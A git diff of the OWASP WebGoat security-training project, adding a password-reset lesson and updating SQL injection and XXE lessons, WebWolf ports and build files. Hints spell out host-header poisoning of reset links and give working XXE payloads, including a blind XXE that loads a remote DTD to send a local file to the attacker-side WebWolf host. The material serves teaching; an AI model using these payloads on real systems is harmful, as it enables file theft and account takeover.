    + + + \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..709165e15 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,21 @@ +password-reset.title=Password reset + +password-reset-simple.email_send=An email has been send to {0} please check your inbox. +password-reset-simple.password_incorrect=Not the correct password please try again. +password-reset-simple.email_failed=There was an error while sending the e-mail. Is WebWolf running? +password-reset-simple.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username. + +password-questions-wrong-user=You need to find a different user you are logging in with 'webgoat'. +password-questions-unknown-user=User {0} is not a valid user. + +password-reset-no-user=Please supply a valid e-mail address. +password-reset-solved=Congratulations you solved the assignment, please type in the following code in the e-mail field: {0} +password-reset-not-solved=Sorry but you did not redirect the reset link to WebWolf + +password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf. +password-reset-hint2=Look at the link, can you think how the server creates this link? +password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link... +password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090 +password-reset-hint5=Intercept the request and change the host header +login_failed=Login failed +login_failed.tom=Sorry only Tom can login at the moment \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset1.png b/webgoat-lessons/password-reset/src/main/resources/images/reset1.png new file mode 100644 index 000000000..36793a8b5 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/reset1.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset2.png b/webgoat-lessons/password-reset/src/main/resources/images/reset2.png new file mode 100644 index 000000000..3c94b01b5 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/reset2.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack1.png b/webgoat-lessons/password-reset/src/main/resources/images/slack1.png new file mode 100644 index 000000000..34114af25 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/slack1.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack2.png b/webgoat-lessons/password-reset/src/main/resources/images/slack2.png new file mode 100644 index 000000000..1102b4211 Binary files /dev/null and b/webgoat-lessons/password-reset/src/main/resources/images/slack2.png differ diff --git a/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js new file mode 100644 index 000000000..65f1d20a0 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/js/password-reset-simple.js @@ -0,0 +1,13 @@ +function showPasswordReset() { + $('#password-reset').show(); + $('#password-login').hide(); + $('#password-reset-2').show(); + $('#password-login-2').hide(); +} + +function showPassword() { + $('#password-login').show(); + $('#password-reset').hide(); + $('#password-login-2').show(); + $('#password-reset-2').hide(); +} \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc new file mode 100644 index 000000000..1daea2dc6 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_host_header.adoc @@ -0,0 +1,18 @@ +== Creating the password reset link + +When creating a password reset link you need to make sure: + +- It is a unique link with a random token +- It can only be used once +- The link is only valid for one hour + +Send a link with a random token means an attacker cannot start a simple DOS attack to your website by starting to +block users. The link should not be used more then once which makes it impossible to change the password again. +The time out is necessary to restrict the attack window, having a link opens up a lot of possibilities for the attacker. + +== Assignment + +Tom always resets his password immediately after receiving the email with the link. +Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with +that password. + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc new file mode 100644 index 000000000..04d4690c9 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_known_questions.adoc @@ -0,0 +1,23 @@ +== Security questions + +This has been an issue and still is for a lot of websites, when you lost your password the website will ask you +for a security question which you answered during the sign up process. Most of the time this list contains a fixed +number of question and which sometimes even have a limited set of answers. In order to use this functionality +a user should be able to select a question by itself and type in the answer as well. This way users will not share +the question which makes it more difficult for an attacker. + +One important thing to remember the answers to these security question(s) should be treated with the same level of +security which is applied for storing a password in a database. If the database leaks an attacker should not be able +to perform password reset based on the answer of the security question. + +Users share so much information on social media these days it becomes difficult to use security questions for password +resets, a good resource for security questions is: http://goodsecurityquestions.com/ + +== Assignment + +Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on +this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the +password of another user. + + + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc new file mode 100644 index 000000000..c7ba7dd90 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_password_reset_link.adoc @@ -0,0 +1,3 @@ +== Password reset link + +Should be unique, do diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc new file mode 100644 index 000000000..fac4211c0 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc @@ -0,0 +1,22 @@ += Password reset + +== Concept + +This lesson teaches about password reset functionality which most of the time is an overlooked part of the application +leading to all kind of interesting logic flaws. + +== Goals + +Teach how to securely implement password reset functionality within your application. + +== Introduction + +Each and every one of us will have used the password reset functionality on websites before. Each website implements +this functionality in a different manner. On some site you have to answer some question on other sites an e-mail +with an activation link will be send to you. In this lesson we will go through some of the most common password +reset functionalities and show where it can go wrong. + +Still there are companies which will send the password in plaintext to a user in an e-mail. For a couple of examples +you can take a look at http://plaintextoffenders.com/ Here you will find website which still send you the plaintext +password in an e-mail. Not only this should make you question the security of the site but this also mean they store +your password in plaintext! \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc new file mode 100644 index 000000000..c3e051b13 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc @@ -0,0 +1,6 @@ +== Email functionality with WebWolf + +Let's first do a simple assignment to make sure you are able to read e-mails with WebWolf, first start WebWolf (see http://) +In the reset page below send an e-mail to `username@webgoat.org` (part behind the @ is not important) +Open WebWolf and read the e-mail and login with your username and the password provided in the e-mail. + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc new file mode 100644 index 000000000..772eeb677 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc @@ -0,0 +1,21 @@ +:half-size: width='20%' + +== Find out if account exists + +As stated before during a password reset often you will find a different message depending on whether an e-mail +address exists or not. By itself this might not look like a big deal but it can give an attacker information which +can be used in a phishing attack. If the attacker knows you have a registered account at a site, the attacker can +for example create a phishing mail and send it to the user. The user might be more tempted to click the e-mail because +the user has a valid account at the website. On the other hand for some websites this is not really important but +some website users would like some more privacy. + +The screenshots below are taken from a real website: + +image:images/reset2.png[align="top", {half-size}] +image:images/reset1.png[align="top", {half-size}] + +Below you see how Slack implemented the same two pages, no matter what e-mail address you enter the message will +be exactly the same: + +image:images/slack1.png[{half-size}] +image:images/slack2.png[{half-size}] diff --git a/webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html b/webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html rename to webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html diff --git a/webgoat-lessons/challenge/src/main/resources/templates/password_reset.html b/webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html similarity index 52% rename from webgoat-lessons/challenge/src/main/resources/templates/password_reset.html rename to webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html index a0d073a09..28c7c2f58 100644 --- a/webgoat-lessons/challenge/src/main/resources/templates/password_reset.html +++ b/webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html @@ -9,16 +9,8 @@
    -
    + - - - - - - - -
    @@ -26,14 +18,6 @@ name='password' th:value="*{password}"/> Password error
    - - - - - - - -
    diff --git a/webgoat-lessons/challenge/src/main/resources/templates/success.html b/webgoat-lessons/password-reset/src/main/resources/templates/success.html similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/templates/success.html rename to webgoat-lessons/password-reset/src/main/resources/templates/success.html diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index fb6c01861..e5f66efdf 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -5,12 +5,12 @@ org.owasp.webgoat.lesson webgoat-lessons-parent pom - v8.0.0.M14 + v8.0.0.SNAPSHOT org.owasp.webgoat webgoat-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT @@ -22,6 +22,7 @@ http-basics http-proxies insecure-login + insecure-deserialization jwt sql-injection xxe @@ -32,6 +33,7 @@ auth-bypass missing-function-ac csrf + password-reset diff --git a/webgoat-lessons/sql-injection/pom.xml b/webgoat-lessons/sql-injection/pom.xml index 676c9cc4e..46677291d 100644 --- a/webgoat-lessons/sql-injection/pom.xml +++ b/webgoat-lessons/sql-injection/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc index 0fdb4f2d3..8a8a7ce78 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc @@ -1,4 +1,6 @@ We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all the things we explained in the SQL lessons. +Goal: Can you login as Tom? + Have fun! \ No newline at end of file diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc index d0f4ff51e..4b534d4bc 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc @@ -2,9 +2,9 @@ The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating strings making it susceptible to String SQL injection: -------------------------------------------------------- -"select * from users where name = ‘" + userName + "'"; -------------------------------------------------------- +------------------------------------------------------------ +"select * from users where LAST_NAME = ‘" + userName + "'"; +------------------------------------------------------------ Using the form below try to retrieve all the users from the users table. You shouldn't need to know any specific user name to get the complete list, however you can use 'Smith' to see the data for one user. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc index a59a92552..db023d8b5 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc @@ -2,8 +2,8 @@ The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection: -------------------------------------------------------- -"select * from users where employee_id = " + userID; -------------------------------------------------------- +-------------------------------------------------- +"select * from users where USERID = " + userID; +-------------------------------------------------- Using the form below try to retrieve all the users from the users table. You shouldn't need to know any specific user name to get the complete list, however you can use '101' to see the data for one user. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc index 53fc5e140..f1aa56fb4 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc @@ -9,7 +9,7 @@ injection. Let's first start with the difference between a normal SQL injection and a blind SQL injection. In a normal SQL injection the error messages from the database are displayed and gives enough information to find out how -the query is working. Or in the case of an union based SQL injection the application does not reflect the information +the query is working. Or in the case of a union based SQL injection the application does not reflect the information directly on the webpage. So in the case where nothing is displayed you will need to start asking the database questions based on a true or false statement. That's why a blind SQL injection is much more difficult to exploit. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc index ad9cf05b1..8c1ab2494 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc @@ -1,6 +1,6 @@ == Immutable Queries -These are the best defense against SQL Injection. They either do not have data that could get interpreted or the treat the data as a single entity that is bound to a column without interpretation. +These are the best defense against SQL Injection. They either do not have data that could get interpreted or they treat the data as a single entity that is bound to a column without interpretation. === Static Queries ------------------------------------------------------- diff --git a/webgoat-lessons/vulnerable-components/pom.xml b/webgoat-lessons/vulnerable-components/pom.xml index 26f718269..df1c57c62 100644 --- a/webgoat-lessons/vulnerable-components/pom.xml +++ b/webgoat-lessons/vulnerable-components/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/webgoat-introduction/pom.xml b/webgoat-lessons/webgoat-introduction/pom.xml index c4076cf17..d4e2db171 100644 --- a/webgoat-lessons/webgoat-introduction/pom.xml +++ b/webgoat-lessons/webgoat-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/pom.xml b/webgoat-lessons/webwolf-introduction/pom.xml index b55a6a0eb..22745b96a 100644 --- a/webgoat-lessons/webwolf-introduction/pom.xml +++ b/webgoat-lessons/webwolf-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java index 1ae6ea707..18e954b0f 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java @@ -21,7 +21,7 @@ import java.net.URISyntaxException; @AssignmentPath("/WebWolf/landing") public class LandingAssignment extends AssignmentEndpoint { - @Value("${webworf.url.landingpage}") + @Value("${webwolf.url.landingpage}") private String landingPageUrl; @PostMapping diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc index 0bbd39bc1..bf15f54c3 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc @@ -27,21 +27,24 @@ WebWolf runs as a separate web application and is started automatically when usi are not using the Docker image you will need to download the jar file and start it: ``` -java -jar webwolf-<>.jar +java -jar webwolf-<>.jar [--server.port=9090] [--server.address=localhost] ``` +By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you +can bind it to a different address (default localhost) + WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need to find out the ip address of the Docker container. ``` WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`) docker pull webgoat/webwolf -docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh +docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 9090:9090 webgoat/webwolf /home/webwolf/run.sh ``` Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If you start WebGoat as Docker container you need to start WebWolf as Docker container as well. -This will start the application on port 8081, click webWolfLink:here[] to open WebWolf. +This will start the application on port 9090, click webWolfLink:here[] to open WebWolf. First thing you need to do is register a new user within WebWolf. \ No newline at end of file diff --git a/webgoat-lessons/xxe/pom.xml b/webgoat-lessons/xxe/pom.xml index 3ac778514..781f2cc36 100644 --- a/webgoat-lessons/xxe/pom.xml +++ b/webgoat-lessons/xxe/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - v8.0.0.M14 + v8.0.0.SNAPSHOT diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java index 750aaf876..dd823e1ca 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java @@ -4,6 +4,7 @@ import com.google.common.base.Charsets; import com.google.common.io.Files; import lombok.SneakyThrows; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.springframework.beans.factory.annotation.Autowired; @@ -49,6 +50,7 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic; * @since November 18, 2016 */ @AssignmentPath("xxe/blind") +@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"}) public class BlindSendFileAssignment extends AssignmentEndpoint { static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; @@ -87,7 +89,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint { /** + %remote; ]> test&send; @@ -100,14 +102,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint { *
          *     
          *     
    -     *     ">
    +     *     ">
          *      %all;
          * 
    * * This will be reduced to: * *
    -     *     
    +     *     
          * 
    * * Wire it all up in the xml send to the server: @@ -115,7 +117,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint { *
          *  
          *  
    +     *  
          *  %remote;
          *   ]>
          *  
    diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java
    index 0cc4f0069..acbdeaa68 100644
    --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java
    +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java
    @@ -51,7 +51,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
      * @since 4/8/17.
      */
     @AssignmentPath("xxe/simple")
    -@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"})
    +@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
     public class SimpleXXE extends AssignmentEndpoint {
     
         private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
    diff --git a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties
    index 5ef01ab9d..766440f01 100644
    --- a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties
    +++ b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties
    @@ -30,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website
     xxe.blind.output=Contents of the file is: {0}
     
     xxe.hints.simple.xxe.1=Try submitting the form and see what happens
    -xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack
    -xxe.hints.simple.xxe.3=Try to include your own DTD
    -xxe.hints.simple.xxe.4=Try to include a doctype "(<!DOCTYPE...)" in the xml
    +xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD
    +xxe.hints.simple.xxe.3=Try to include a doctype "(<!DOCTYPE...)" in the xml
    +xxe.hints.simple.xxe.4=The include can be as follows: <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>
    +xxe.hints.simple.xxe.5=Do not forget to reference the entity
    +xxe.hints.simple.xxe.6=In the comment you should references: <comment><text>&root;test</text></comment>
     
     xxe.hints.content.type.xxe.1=Take a look at the content type
    -xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
    \ No newline at end of file
    +xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
    +
    +xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
    +xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
    +xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
    +xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
    +xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
    diff --git a/webgoat-lessons/xxe/src/main/resources/images/example.dtd b/webgoat-lessons/xxe/src/main/resources/images/example.dtd
    new file mode 100644
    index 000000000..76be6d7c6
    --- /dev/null
    +++ b/webgoat-lessons/xxe/src/main/resources/images/example.dtd
    @@ -0,0 +1,4 @@
    +
    +
    +">
    +%all;
    \ No newline at end of file
    diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc
    index 80b948ba4..77d9cacc8 100644
    --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc
    +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc
    @@ -3,5 +3,5 @@
     In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
     So this might result in JSON endpoints being vulnerable to XXE attacks.
     
    -Again same exercise but try to perform the same XML injection as we did in first assigment.
    +Again same exercise but try to perform the same XML injection as we did in first assignment.
     
    diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
    index c78293daf..621fdd1b3 100644
    --- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
    +++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java
    @@ -37,7 +37,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
         private String webGoatHomeDirectory;
     
         @Rule
    -    public WireMockRule webwolfServer = new WireMockRule(8081);
    +    public WireMockRule webwolfServer = new WireMockRule(9090);
     
         @Before
         public void setup() throws Exception {
    @@ -71,18 +71,21 @@ public class BlindSendFileAssignmentTest extends LessonTest {
         @Test
         public void solve() throws Exception {
             File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
    +        //Host DTD on WebWolf site
             String dtd = "\n" +
                     "\n" +
    -                "\">\n" +
    +                "\">\n" +
                     "%all;";
             webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
                     .willReturn(aResponse()
                             .withStatus(200)
                             .withBody(dtd)));
             webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
    +
    +        //Make the request from WebGoat
             String xml = "" +
                     "" +
    +                "" +
                     "%remote;" +
                     "]>" +
                     "test&send;";
    diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java
    index ae826e995..21d4c48cd 100644
    --- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java
    +++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java
    @@ -28,7 +28,6 @@ public class SimpleXXETest extends LessonTest {
             when(webSession.getUserName()).thenReturn("unit-test");
         }
     
    -
         @Test
         public void workingAttack() throws Exception {
             //Call with XXE injection
    diff --git a/webgoat-server/Dockerfile b/webgoat-server/Dockerfile
    index 860bb1b3f..85562dba0 100644
    --- a/webgoat-server/Dockerfile
    +++ b/webgoat-server/Dockerfile
    @@ -1,6 +1,6 @@
     FROM openjdk:8-jre-slim
     
    -ARG webgoat_version=8.0-SNAPSHOT
    +ARG webgoat_version=v8.0.0.SNAPSHOT
     
     RUN \
       apt-get update && apt-get install && \
    diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml
    index 483c3a0b6..af9f6c6c1 100644
    --- a/webgoat-server/pom.xml
    +++ b/webgoat-server/pom.xml
    @@ -6,7 +6,7 @@
         
             org.owasp.webgoat
             webgoat-parent
    -        v8.0.0.M14
    +        v8.0.0.SNAPSHOT
         
     
         
    @@ -145,6 +145,11 @@
                 insecure-login
                 ${project.version}
             
    +        
    +            org.owasp.webgoat.lesson
    +            insecure-deserialization
    +            ${project.version}
    +        
             
                 org.owasp.webgoat.lesson
                 jwt
    @@ -185,6 +190,11 @@
                 missing-function-ac
                 ${project.version}
             
    +        
    +            org.owasp.webgoat.lesson
    +            password-reset
    +            ${project.version}
    +        
     
             
             
    diff --git a/webwolf/Dockerfile b/webwolf/Dockerfile
    index a591b2ae5..060f6ee9a 100644
    --- a/webwolf/Dockerfile
    +++ b/webwolf/Dockerfile
    @@ -1,6 +1,6 @@
     FROM openjdk:8-jre-slim
     
    -ARG webwolf_version=8.0-SNAPSHOT
    +ARG webwolf_version=v8.0.0.SNAPSHOT
     
     RUN \
       apt-get update && apt-get install && \
    @@ -9,6 +9,6 @@ RUN \
     USER webwolf
     COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
     
    -ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"]
    +ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.port=9090", "--server.address=0.0.0.0"]
     
    -EXPOSE 8081
    +EXPOSE 9090
    diff --git a/webwolf/README.md b/webwolf/README.md
    index 4086c268c..52d5341c8 100644
    --- a/webwolf/README.md
    +++ b/webwolf/README.md
    @@ -21,7 +21,7 @@ At the moment WebWolf offers support for:
     ## 1. Run using Docker
     
     If you use the Docker image of WebGoat this application will automatically be available. Use the following 
    -URL: http://localhost:8081/WebWolf
    +URL: http://localhost:9090/WebWolf
     
     ## 2. Standalone
     
    @@ -36,7 +36,7 @@ Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
     ```Shell
     mvn -pl webwolf spring-boot:run
     ```
    -... you should be running WebWolf on localhost:8081/WebWolf momentarily
    +... you should be running WebWolf on localhost:9090/WebWolf momentarily
     
     
     
    diff --git a/webwolf/pom.xml b/webwolf/pom.xml
    index ee2728a35..bc2d30f0a 100644
    --- a/webwolf/pom.xml
    +++ b/webwolf/pom.xml
    @@ -6,7 +6,7 @@
         
             org.owasp.webgoat
             webgoat-parent
    -        v8.0.0.M14
    +        v8.0.0.SNAPSHOT
         
     
         
    diff --git a/webwolf/src/main/java/org/owasp/webwolf/FileServer.java b/webwolf/src/main/java/org/owasp/webwolf/FileServer.java
    index d386235a0..8adaa1f3d 100644
    --- a/webwolf/src/main/java/org/owasp/webwolf/FileServer.java
    +++ b/webwolf/src/main/java/org/owasp/webwolf/FileServer.java
    @@ -32,6 +32,11 @@ public class FileServer {
     
         @Value("${webwolf.fileserver.location}")
         private String fileLocatation;
    +    @Value("${server.address}")
    +    private String server;
    +    @Value("${server.port}")
    +    private int port;
    +
     
         @PostMapping(value = "/WebWolf/fileupload")
         @SneakyThrows
    @@ -84,6 +89,7 @@ public class FileServer {
             }
     
             modelAndView.addObject("files", uploadedFiles);
    +        modelAndView.addObject("webwolf_url", "http://" + server +":" + port);
             return modelAndView;
